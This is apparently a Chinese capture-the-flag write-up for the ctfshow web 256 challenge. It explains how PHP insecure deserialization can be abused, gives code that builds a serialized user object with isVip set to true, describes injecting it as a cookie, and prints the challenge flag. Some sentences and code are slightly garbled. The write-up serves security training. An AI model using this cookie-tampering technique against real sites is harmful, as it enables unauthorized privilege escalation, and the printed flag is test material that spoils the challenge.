ctf show web 入门256

通过代码审计可以看出本题要求我们

php 复制代码
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();

当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句

然后判断user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user是否为vip,只有这个判断的返回结果为true才能执行user->vipOnekeygetflag()

同时还要满足

php 复制代码
public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag; 

username和password的值要满足用户名和密码不能相同

我们可以本地运行一段简单的 PHP 代码,来生成我们需要的序列化字符串
<?php class ctfShowUser { public username = 'admin'; // 任意设置,但不要与密码相同 public password = 'secret'; // 任意设置 public isVip = true; // 必须为 true } user = new ctfShowUser(); echo urlencode(serialize($user)); ?>

这里就可以直接把输出的结果放入该网站的cookie中

我们先按下f12打开开发者工具

先添加一个cookie然后对这个cookie的名称和值进行修改

因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制

最后flag为:your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}

相关推荐
鱼与宇1 小时前
前端Web(html+css+js+vue3)
前端
FinelyYang3 小时前
UniApp + LiveKit:Android 端为什么要用原生做屏幕共享,以及我们怎么落地的
android·uni-app
蓝速科技3 小时前
蓝速科技信创落地:平衡安全合规与项目成本的实战方案
android·运维·人工智能·科技·安全·电脑·鸿蒙
雪芽蓝域zzs3 小时前
(六)打包优化 + Nginx 部署完整配置 + 项目收尾
前端·vue.js
研☆香3 小时前
聊一聊前端的常见字 关键字
开发语言·前端·javascript
东风破_3 小时前
JWT 1:从一个登录请求开始,理解 React 项目里的 API 层与 Mock
前端·后端
东风破_3 小时前
JWT 3:为什么 Token 要放进 Authorization?Axios 拦截器到底解决了什么?
前端·后端
东风破_3 小时前
JWT 5:路由守卫是什么?把整个 JWT 登录鉴权流程串起来
前端·后端
东风破_3 小时前
JWT 2:HTTP 是无状态的,为什么登录成功后还要给 Token?
前端·后端
东风破_4 小时前
JWT 4:Zustand 到底解决了什么?为什么登录状态要放进 Store?
前端·后端